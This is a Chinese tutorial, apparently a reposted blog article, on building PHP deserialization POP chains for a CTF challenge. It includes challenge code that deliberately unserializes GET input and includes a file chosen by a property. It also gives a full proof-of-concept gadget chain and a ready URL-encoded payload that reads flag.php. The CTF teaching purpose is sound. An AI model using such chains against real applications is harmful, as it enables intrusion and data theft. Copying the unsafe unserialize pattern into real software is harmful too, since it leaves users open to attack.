[Web安全]PHP反序列化漏洞——POP链构造思路
- 创业
- 2025-09-21 23:12:02
![[Web安全]PHP反序列化漏洞——POP链构造思路](/0pic/pp_67.jpg)
关注这个专栏的其他相关笔记:[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客
0x01:什么是 POP 链?POP 链(Payload On Purpose Chain)是一种利用 PHP 中的魔法方法进行多次跳转以获取敏感数据的技术。它通常出现在 CTF 比赛中,并且与反序列化一起考察。
POP 链可以理解为反序列化的一种拓展,涉及到的魔法方法更多,泛用性更强。
0x02:POP 链 — 入门基础POP 链,简单来说,就是把一个对象的成员属性赋值为新的对象。比如下面这个例子:
<?php class Node { public $nodeData; // 用来存储节点数据 public $nextNode = null; // 用来存储下一个节点对象 } $node1 = new Node(); $node1 -> nodeData = "[ 1 ] 号节点"; $node1 -> nextNode = new Node(); $node1 -> nextNode -> nodeData = "[ 2 ] 号节点"; echo serialize($node1); // 输出结果如下: // O:4:"Node":2:{s:8:"nodeData";s:15:"[ 1 ] 号节点";s:8:"nextNode";O:4:"Node":2:{s:8:"nodeData";s:15:"[ 2 ] 号节点";s:8:"nextNode";N;}}上面是笔者创建的一个简单的节点类,该类有两个属性,$nodeData 用来存储数据,$nextNode 用来指向下一个节点。
观察一下这个 $node1 序列化后的结果,我们可以很轻易的看到,对象中包含了对象的这么一个结构,这就是 POP 链。在后面做 CTF 时,我们就需要手动构造这么一串东西来尝试过关。
0x03:POP 链 — 构造思路接下来,笔者以一个 CTF 的题目作为示范,来演示一下 POP 链的构造思路,下面是题目的整体源码:
<?php highlight_file(__FILE__); class Modifier { private $var; public function append($value) { include($value); // Flag Is in the flag.php echo $flag; } public function __invoke() { $this->append($this->var); } } class Show { public $source; public $str; public function __toString() { return $this->str->source; } public function __wakeup() { echo $this->source; } } class Test { public $p; public function __construct() { $this->p = array(); } // 不存在的属性 public function __get($key) { $function = $this->p; return $function(); } } // pop序列化的值 if (isset($_GET['pop'])) { unserialize($_GET['pop']); }我们的目标就是,尝试包含 flag.php 并读取到 flag。
下面我们就要开始分析了,笔者比较喜欢进行反向逆推的,首先确定我们最终要达成的目标:
确定目标:要执行 Modifier::append($value) 且 $value=flag.php。
问:谁能跳到 Modifier::append($value)?
答:Modifier::__invoke() 且要求 Modifier 对象的 $var 属性为 flag.php。问:谁能跳到 Modifier::__invoke()?=> 哪里能将 Modifier 对象当方法调用?
答:Test::__get($key) 且当 Test 对象的 $p 属性为 Modifier 对象时满足要求。问:谁能跳到 Test::__get($key)?=> 哪里可能会访问某个对象的不存在的属性?
答:Show::__toString() 且当 Show 对象的 $str 属性为 Test 对象时满足要求。问:谁能跳到 Show::__toString() ?即哪里会把 Show 对象当作字符串处理?
答:Show::__wakeup()且当 Show 对象的 $source 属性为 Show 对象时满足要求。问:哪里能触发 Show::__wakeup() ?
答:反序列化 Show 对象。如上,逆向推导结束,最终我们定格到了 Show::__wakeup() 方法上,即反序列化执行时,会自然触发的一个方法上。
下面开始编写 POC,POC 的编写其实就是根据答案反着来,着重关注 ”且当“ 后面的条件:
// 1. 反序列化 Show 对象 => 创建一个 Show() 对象 $poc = new Show(); // 2. 赋予 Show() 对象的 $source 属性为 Show() 对象。 $poc -> source = new Show(); // 3. 赋予 Show() 对象的 $str 属性为 Test 对象。 $poc -> source -> str = new Test(); // 4. 赋予 Test 对象的 $p 属性为 Modifier 对象。 $poc -> source -> str -> p = new Modifier(); // 5. 赋予 Modifier 对象的 $var 属性值为 flag.php。 $poc -> source -> str -> p = "flag.php"; echo serialize($poc);上面的 POC 其实整体流程是对的,但是有个细节,关注一下 Modifier 类中的 $p 属性:
class Modifier { private $var; }如上,它是一个私有属性,私有属性我们是不能直接通过属性赋值的。但是我们知道,反序列化的特性,反序列化生成的对象成员属性值是由被反序列化的字符串决定的,与原来类中预定义的值无关。 那么基于此特性,虽然直接赋值不行,但是我们可以修改 Modifier 类中 $var 的默认值呀。
所以正确的最终 POC 局部如下(下面都是我们修改的主要部分):
class Modifier { // 5. 赋予 Modifier 对象的 $var 属性值为 flag.php。 private $var = "flag.php"; public function append($value) { include($value); // Flag Is in the flag.php echo $flag; } public function __invoke() { $this->append($this->var); } } // 1. 反序列化 Show 对象 => 创建一个 Show() 对象 $poc = new Show(); // 2. 赋予 Show() 对象的 $source 属性为 Show() 对象。 $poc -> source = new Show(); // 3. 赋予 Show() 对象的 $str 属性为 Test 对象。 $poc -> source -> str = new Test(); // 4. 赋予 Test 对象的 $p 属性为 Modifier 对象。 $poc -> source -> str -> p = new Modifier(); echo serialize($poc);同时我们注意到,反序列化中带有 private 私有属性,且目标是通过 GET 请求接收传参的,所以为了防止我们复制 POC 的时候出现 Bug,我们还需要对最终序列化的结果进行一个 URL 编码(服务端在接收的时候其实默认会进行一次 URL 解码,所以不用慌),以确定没有漏复制任何值,所以最终 POC 如下:
<?php // highlight_file(__FILE__); class Modifier { // 5. 赋予 Modifier 对象的 $var 属性值为 flag.php。 private $var = "flag.php"; public function append($value) { include($value); // Flag Is in the flag.php echo $flag; } public function __invoke() { $this->append($this->var); } } class Show { public $source; public $str; public function __toString() { return $this->str->source; } public function __wakeup() { echo $this->source; } } class Test { public $p; public function __construct() { $this->p = array(); } // 不存在的属性 public function __get($key) { $function = $this->p; print_r($function); return $function(); } } // 1. 反序列化 Show 对象 => 创建一个 Show() 对象 $poc = new Show(); // 2. 赋予 Show() 对象的 $source 属性为 Show() 对象。 $poc -> source = new Show(); // 3. 赋予 Show() 对象的 $str 属性为 Test 对象。 $poc -> source -> str = new Test(); // 4. 赋予 Test 对象的 $p 属性为 Modifier 对象。 $poc -> source -> str -> p = new Modifier(); echo urlencode(serialize($poc));最终 Payload 如下:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D[Web安全]PHP反序列化漏洞——POP链构造思路由讯客互联创业栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“[Web安全]PHP反序列化漏洞——POP链构造思路”
上一篇
Java日志